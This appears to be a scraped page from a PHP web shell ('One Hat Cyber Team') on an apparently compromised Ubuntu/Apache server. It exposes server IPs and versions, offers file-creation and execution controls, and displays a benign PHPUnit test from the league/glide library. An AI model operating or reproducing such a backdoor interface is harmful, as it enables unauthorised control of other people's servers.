⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.180
Server IP:
13.127.59.50
Server:
Linux ip-172-31-46-210 5.15.0-1033-aws #37~20.04.1-Ubuntu SMP Fri Mar 17 11:39:30 UTC 2023 x86_64
Server Software:
Apache/2.4.41 (Ubuntu)
PHP Version:
7.4.3-4ubuntu2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
ubuntu
/
vendor
/
league
/
glide
/
tests
/
Urls
/
View File Name :
UrlBuilderFactoryTest.php
<?php namespace League\Glide\Urls; class UrlBuilderFactoryTest extends \PHPUnit_Framework_TestCase { public function testCreate() { $urlBuilder = UrlBuilderFactory::create('/img'); $this->assertInstanceOf('League\Glide\Urls\UrlBuilder', $urlBuilder); $this->assertEquals('/img/image.jpg', $urlBuilder->getUrl('image.jpg')); } public function testCreateWithSignKey() { $urlBuilder = UrlBuilderFactory::create('img', 'example-sign-key'); $this->assertEquals( '/img/image.jpg?s=56020c3dc5f68487c14510343c3e2c43', $urlBuilder->getUrl('image.jpg') ); } public function testCreateWithSignKeyWithLeadingSlash() { $urlBuilder = UrlBuilderFactory::create('/img', 'example-sign-key'); $this->assertEquals( '/img/image.jpg?s=56020c3dc5f68487c14510343c3e2c43', $urlBuilder->getUrl('image.jpg') ); } }